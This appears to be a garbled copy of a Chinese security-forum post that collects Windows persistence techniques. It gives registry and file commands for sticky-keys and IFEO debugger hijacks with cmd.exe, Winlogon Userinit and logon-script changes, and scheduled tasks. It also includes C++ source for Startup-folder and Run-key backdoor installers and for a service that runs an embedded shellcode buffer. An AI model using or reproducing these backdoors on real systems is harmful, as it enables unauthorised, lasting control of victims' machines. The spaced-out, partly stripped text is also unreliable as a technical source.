[18590] 2021-07-03_干货最全Windows权限维持总结

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2021-07-03_干货最全Windows权限维持总结   |   W i n d o w s   B u f f e r   H A C K   2 0 2 1 - 0 7 - 0 3 #   , 2 0 #   , 4 #   , 2 0 x 0 1   , 0 x 0 2     使 使 访 W i n d o w s   5 s h i f t S e t h c . e x e W i n d o w s   +   U u t i l m a n . e x e :   W i n d o w s   s h i f t C : W i n d o w s S y s t e m 3 2 s e t h c . e x e c m d . e x e w i n d o w s   2 0 0 3 X P :         I F E O , I F E O I F E O I m a g e   F i l e   E x e c u t i o n   O p t i o n s R e d i r e c t i o n   H i j a c k I m a g e   H i j a c k I F E O   H i j a c k C : W i n d o w s S y s t e m 3 2 o s k . e x e C : W i n d o w s S y s t e m 3 2 M a g n i f y . e x e C : W i n d o w s S y s t e m 3 2 N a r r a t o r . e x e   C : W i n d o w s S y s t e m 3 2 D i s p l a y S w i t c h . e x e C : W i n d o w s S y s t e m 3 2 A t B r o k e r . e x e c o p y   c : w i n d o w s s y s t e m 3 2 s e t h c . e x   c : w i n d o w s s y s t e m 3 2 s e t h c 1 . e x e c o p y   c : w i n d o w s s y s t e m 3 2 c m d . e x e   c : w i n d o w s s y s t e m 3 2 s e t h c . e x e
I F E O d e b u g g e r   D e b u g g e r   i e x p l o r e r . e x e : d e b u g g e r     c : w i n d o w s s y s t e m 3 2 c m d . e x e , 0 x 0 3   / - r e g   a d d   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n I m a g e   F i l e   E x e c u t i o n   O p t i o n s i e x p l o r e . e x e "   / v   " D e b u g g e r "   / t   R E G _ S Z   / d   " c : w i n d o w s s y s t e m 3 2 c m d . e x e "   / f C : U s e r s S D A p p D a t a R o a m i n g M i c r o s o f t W i n d o w s S t a r t   M e n u P r o g r a m s S t a r t u p H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r       S h e l l   F o l d e r s H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l       F o l d e r s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r S h e l l       F o l d e r s H K E Y _ L O C A L _ M A C H I N E S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n E x p l o r e r U s e r       S h e l l   F o l d e r s
, # i n c l u d e   < i o s t r e a m > # i n c l u d e   < w i n d o w s . h > # i n c l u d e       < s h l o b j . h > # p r a g m a       c o m m e n t ( l i b ,   " s h e l l 3 2 . l i b " ) B O O L   A u t o R u n _ S t a r t u p ( C H A R *   l p s z S r c F i l e P a t h ,   C H A R *   l p s z D e s t F i l e N a m e ) { B O O L   r e t   =   f a l s e ; C H A R   s z S t a r t P a t h [ M A X _ P A T H ]   =   {   0   } ; C H A R   s z D e s t F i l e P a t h [ M A X _ P A T H ]   =   {   0   } ; / / s z S t a r t P a t h r e t   =   : : S H G e t S p e c i a l F o l d e r P a t h A ( N U L L ,   s z S t a r t P a t h , C S I D L _ S T A R T U P , T R U E ) ; / / i f   ( r e t   = =   T R U E ) { p r i n t f ( " [ + ] G e t   t h e   q u i c k   s t a r t   d i r e c t o r y   s u c c e s s f u l l y n " ) ; } e l s e { p r i n t f ( " [ ! ] G e t   t h e   q u i c k   s t a r t   d i r e c t o r y   f a i l d n " ) ; r e t u r n   F A L S E ; } / / : : w s p r i n t f A ( s z D e s t F i l e P a t h , " % s % s " , s z S t a r t P a t h , l p s z D e s t F i l e N a m e ) ; / /
, H K E Y _ C U R R E N T _ U S E R , , / / r e t   =   : : C o p y F i l e A ( l p s z S r c F i l e P a t h ,   s z D e s t F i l e P a t h ,   F A L S E ) ; i f   ( F A L S E   = =   r e t ) { p r i n t f ( " [ ! ] F a i l e d   t o   s a v e   t h e   f i l e   i n   t h e   q u i c k   s t a r t   d i r e c t o r y . n " ) ; r e t u r n   F A L S E ; } e l s e { p r i n t f ( " [ ! ] S u c c e s s f u l l y   t o   s a v e   t h e   f i l e   i n   t h e   q u i c k   s t a r t   d i r e c t o r y . n " ) ; } p r i n t f ( " [ + ] B a c k d o o r   g e n e r a t i o n   i n   q u i c k   s t a r t   d i r e c t o r y   s u c c e s s f u l ! n " ) ; r e t u r n   T R U E ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) { p r i n t f ( " [ * ] U s e a g e : n         % s   % s   % s n " ,   " R u n _ S t a r t U p . e x e " ,   " E : 0 1 0 E d i t o r 0 1 0   E d i t o r 0 1 0 E d i t o r . e x e " ,   " 0 1 0 E d i t o r . e x e " ) ; i f   ( a r g c   = =   3 ) { A u t o R u n _ S t a r t u p ( a r g v [ 1 ] ,   a r g v [ 2 ] ) ; } e l s e { p r i n t f ( " [ ! ] P l e a s e   c h e c k   t h e   n u m b e r   o f   y o u r   p a r a m e t e r s n " ) ; } } H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ C U R R E N T _ U S E R S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n O n c e # i n c l u d e   < i o s t r e a m > # i n c l u d e   < w i n d o w s . h > B O O L   R e g _ C u r r e n t U s e r ( c o n s t   c h a r *   l p s z F i l e N a m e , c o n s t   c h a r *   l p s z V a l u e N a m e ) { / / H K E Y   h K e y ; / / i f   ( E R R O R _ S U C C E S S   = =   : : R e g O p e n K e y E x ( H K E Y _ C U R R E N T _ U S E R ,   L " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   0 ,   K E Y _ W R I T E ,   & h K e y ) ) { p r i n t f ( " [ + ]   O p e n   R e g K e y   S u c c e s s f u l l y n " ) ; } e l s e { p r i n t f ( " [ ! ]   O p e n   R e g K e y   E r r o r n " ) ; r e t u r n   F A L S E ;
H K E Y _ L O C A L _ M A C H I N E     e x e , c m d , , 使 使 H K L M , H K E Y _ C U R R E N T _ U S E R , } i f   ( E R R O R _ S U C C E S S   = =   : : R e g S e t V a l u e E x A ( h K e y ,   l p s z V a l u e N a m e ,   0 ,   R E G _ S Z ,   ( B Y T E * ) l p s z F i l e N a m e ,   ( 1   +   : : l s t r l e n A ( l p s z F i l e N a m e ) ) ) ) { p r i n t f ( " [ + ]   S e t   V a l u e   S u c c e s s f u l l y n " ) ; } e l s e { : : R e g C l o s e K e y ( h K e y ) ; p r i n t f ( " [ ! ]   S e t   V a l u e   E r r o r n " ) ; r e t u r n   F A L S E ; } p r i n t f ( " [ + ]   T h e   r e g i s t r y   b a c k d o o r   a b o u t   H K E Y _ C U R R E N T _ U S E R   i s   g e n e r a t e d   s u c c e s s f u l l y n " ) ; : : R e g C l o s e K e y ( h K e y ) ; r e t u r n   T R U E ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) { p r i n t f ( " [ * ] U s e a g e : n         % s   % s   % s n " , " M o d i f y R e g . e x e " , " E : 0 1 0 E d i t o r 0 1 0   E d i t o r 0 1 0 E d i t o r . e x e " ,   " 0 1 0 E d i t o r " ) ; i f   ( a r g c   = =   3 ) { R e g _ C u r r e n t U s e r ( a r g v [ 1 ] ,   a r g v [ 2 ] ) ; } e l s e { p r i n t f ( " [ ! ] P l e a s e   c h e c k   t h e   n u m b e r   o f   y o u r   p a r a m e t e r s n " ) ; } } r e g   a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n       / v   " 1 2 3 "   / t   R E G _ S Z   / d   " C : W i n d o w s S y s t e m 3 2 c m d . e x e "   / f
  W i n d o w s   S Y S T E M     E X E   / D L L , 穿 s h e l l c o d e 线 s c   c r e a t e   " S D "   b i n p a t h =       " C : U s e r s S D D e s k t o p t e s t . e x e " s c   d e s c r i p t i o n   " S D "       " d e s c r i p t i o n "   s c   c o n f i g   " S D "       s t a r t =   a u t o     n e t   s t a r t   " S D "       # i n c l u d e   < w i n d o w s . h > # i n c l u d e   < i o s t r e a m > u n s i g n e d   c h a r   b u f [ ]   = " x f c x e 8 x 8 9 x 0 0 x 0 0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x 3 6 x 3 8 x 2 e x 3 1 x 2 e x 3 1 x 3 0 x 3 6 x 0 0 x 1 2 x 3 4 x 5 6 x 7 8 " ; # d e f i n e   S L E E P _ T I M E   5 0 0 0                                                     / * * / # d e f i n e   L O G F I L E   " C : W i n d o w s l o g 1 . t x t "                             / * * / S E R V I C E _ S T A T U S   S e r v i c e S t a t u s ;     / * * / S E R V I C E _ S T A T U S _ H A N D L E   h S t a t u s ;   / * * / v o i d     S e r v i c e M a i n ( i n t   a r g c ,   c h a r * *   a r g v ) ; v o i d     C t r l H a n d l e r ( D W O R D   r e q u e s t ) ; i n t       I n i t S e r v i c e ( ) ; i n t   m a i n ( i n t   a r g c ,   C H A R *   a r g v [ ] ) { W C H A R   W s e r v i c e N a m e [ ]   =   T E X T ( " s d d d " ) ; S E R V I C E _ T A B L E _ E N T R Y   S e r v i c e T a b l e [ 2 ] ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e N a m e   =   W s e r v i c e N a m e ; S e r v i c e T a b l e [ 0 ] . l p S e r v i c e P r o c   =   ( L P S E R V I C E _ M A I N _ F U N C T I O N ) S e r v i c e M a i n ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e N a m e   =   N U L L ; S e r v i c e T a b l e [ 1 ] . l p S e r v i c e P r o c   =   N U L L ; S t a r t S e r v i c e C t r l D i s p a t c h e r ( S e r v i c e T a b l e ) ; r e t u r n   0 ; } i n t   W r i t e T o L o g ( c o n s t   c h a r *   s t r ) { F I L E *   p f i l e ; f o p e n _ s ( & p f i l e ,   L O G F I L E ,   " a + " ) ; i f   ( p f i l e   = =   N U L L ) { r e t u r n   - 1 ; } f p r i n t f _ s ( p f i l e ,   " % s n " ,   s t r ) ; f c l o s e ( p f i l e ) ;
r e t u r n   0 ; } / * S e r v i c e   i n i t i a l i z a t i o n * / i n t   I n i t S e r v i c e ( ) { C H A R   M e s s a g e [ ]   =   " M o n i t o r i n g   s t a r t e d . " ; O u t p u t D e b u g S t r i n g ( T E X T ( " M o n i t o r i n g   s t a r t e d . " ) ) ; i n t   r e s u l t ; r e s u l t   =   W r i t e T o L o g ( M e s s a g e ) ; r e t u r n ( r e s u l t ) ; } / * C o n t r o l   H a n d l e r * / v o i d   C t r l H a n d l e r ( D W O R D   r e q u e s t ) { s w i t c h   ( r e q u e s t ) { c a s e   S E R V I C E _ C O N T R O L _ S T O P : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; c a s e   S E R V I C E _ C O N T R O L _ S H U T D O W N : W r i t e T o L o g ( " M o n i t o r i n g   s t o p p e d . " ) ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; d e f a u l t : b r e a k ; } / *   R e p o r t   c u r r e n t   s t a t u s     * / S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; } v o i d   S e r v i c e M a i n ( i n t   a r g c ,   c h a r * *   a r g v ) { W C H A R   W s e r v i c e N a m e [ ]   =   T E X T ( " s d d d " ) ; i n t   e r r o r ; S e r v i c e S t a t u s . d w S e r v i c e T y p e   = S E R V I C E _ W I N 3 2 ; S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ S T A R T _ P E N D I N G ; / * * / S e r v i c e S t a t u s . d w C o n t r o l s A c c e p t e d   = S E R V I C E _ A C C E P T _ S H U T D O W N   | S E R V I C E _ A C C E P T _ S T O P ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w S e r v i c e S p e c i f i c E x i t C o d e   =   0 ; S e r v i c e S t a t u s . d w C h e c k P o i n t   =   0 ; S e r v i c e S t a t u s . d w W a i t H i n t   =   0 ; h S t a t u s   =   : : R e g i s t e r S e r v i c e C t r l H a n d l e r ( W s e r v i c e N a m e , ( L P H A N D L E R _ F U N C T I O N ) C t r l H a n d l e r ) ; i f   ( h S t a t u s   = =   ( S E R V I C E _ S T A T U S _ H A N D L E ) 0 ) { W r i t e T o L o g ( " R e g i s t e r S e r v i c e C t r l H a n d l e r   f a i l e d " ) ; r e t u r n ; } W r i t e T o L o g ( " R e g i s t e r S e r v i c e C t r l H a n d l e r   s u c c e s s " ) ; / *   I n i t i a l i z e   S e r v i c e       * / e r r o r   =   I n i t S e r v i c e ( ) ; i f   ( e r r o r ) { / *   I n i t i a l i z a t i o n   f a i l e d     * /
p s e x e c : s h e l l : 0 x 0 4   W i n d o w s s c h t a s k s a t : A t   w i n d o w s   x p / 2 0 0 3 S c h t a s k s w i n 7 / 2 0 0 8 S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ S T O P P E D ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   - 1 ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; r e t u r n ; } L P V O I D   M e m o r y   =   V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ; m e m c p y ( M e m o r y ,   b u f ,   s i z e o f ( b u f ) ) ; ( ( v o i d ( * ) ( ) ) M e m o r y ) ( ) ; / * S C M   * / S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = S E R V I C E _ R U N N I N G ; S e t S e r v i c e S t a t u s ( h S t a t u s ,   & S e r v i c e S t a t u s ) ; / * d o   s o m e t h i n g   y o u   w a n t   t o   d o   i n   t h i s   w h i l e   l o o p * / M E M O R Y S T A T U S   m e m s t a t u s ; w h i l e   ( S e r v i c e S t a t u s . d w C u r r e n t S t a t e   = = S E R V I C E _ R U N N I N G ) { c h a r   b u f f e r [ 1 6 ] ; G l o b a l M e m o r y S t a t u s ( & m e m s t a t u s ) ; i n t   a v a i l m b   =   m e m s t a t u s . d w A v a i l P h y s   /   1 0 2 4   /   1 0 2 4 ; s p r i n t f _ s ( b u f f e r ,   1 0 0 ,   " a v a i l a b l e   m e m o r y   i s   % d M B " ,   a v a i l m b ) ; i n t   r e s u l t   =   W r i t e T o L o g ( b u f f e r ) ; i f   ( r e s u l t ) { S e r v i c e S t a t u s . d w C u r r e n t S t a t e   =   S E R V I C E _ S T O P P E D ; S e r v i c e S t a t u s . d w W i n 3 2 E x i t C o d e   =   - 1 ; S e t S e r v i c e S t a t u s ( h S t a t u s , & S e r v i c e S t a t u s ) ; r e t u r n ; } S l e e p ( S L E E P _ T I M E ) ; } W r i t e T o L o g ( " s e r v i c e   s t o p p e d " ) ; r e t u r n ; } s c   d e l e t e   " S D "
0 x 0 5   D L L D L L D L L A P I   L o a d L i b r a r y   W i n d o w s     L o a d L i b r a r y   使 D L L   D L L M S D N 使   L o a d L i b r a r y     D L L   L o a d L i b r a r y E x S h e l l E x e c u t e E x 6   D L L S a f e D l l S e a r c h M o d e 1 .   2 .     D L L   3 .     S Y S T E M 3 2   4 .   1 6   S Y S T E M   5 .   W i n d o w s 6 .   P A T H d l l D L L D L L D L L w i n 7 w i n 7 K n o w n D L L s d l l d l l , , , : h t t p s : / / w w w . c n b l o g s . c o m / p u n i s h e d / p / 1 4 7 1 5 7 7 1 . h t m l 0 x 0 6   W i n l o g o n w i n l o g o n . e x e w i n d o w s , , W i n l o g o n   :   W i n l o g o n     D L L   : s c h t a s k s   / c r e a t e   / s c   m i n u t e   / m o   5       / t n   " s d "   / t r   C : W i n d o w s S y s t e m 3 2 c m d . e x e H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e s s i o n M a n a g e r E x c l u d e F r o m K n o w n D l l s H K L M S o f t w a r e M i c r o s o f t W i n d o w s N T C u r r e n t V e r s i o n W i n l o g o n H K C U S o f t w a r e M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n r e g   d e l e t e   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n "   / v   U s e r i n i t   / f r e g   a d d   " H K L M S O F T W A R E M i c r o s o f t W i n d o w s   N T C u r r e n t V e r s i o n W i n l o g o n "     / v   " U s e r i n i t "   / t   R E G _ S Z   / d   " C : W i n d o w s s y s t e m 3 2 c m d . e x e , "   / f
p o w e r s h e l l 0 x 0 7   L o g o n   S c r i p t s W i n d o w s L o g o n   S c r i p t s :   S e t - I t e m P r o p e r t y       " H K L M : S O F T W A R E M i c r o s o f t W I N D O W S   N T C u r r e n t V e r s i o n W i n l o g o n "   - n a m e       U s e r i n i t   - v a l u e   " C : W i n d o w s s y s t e m 3 2 u s e r i n i t . e x e , C : W i n d o w s s y s t e m 3 2 c m d . e x e " H K E Y _ C U R R E N T _ U S E R E n v i r o n m e n t
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则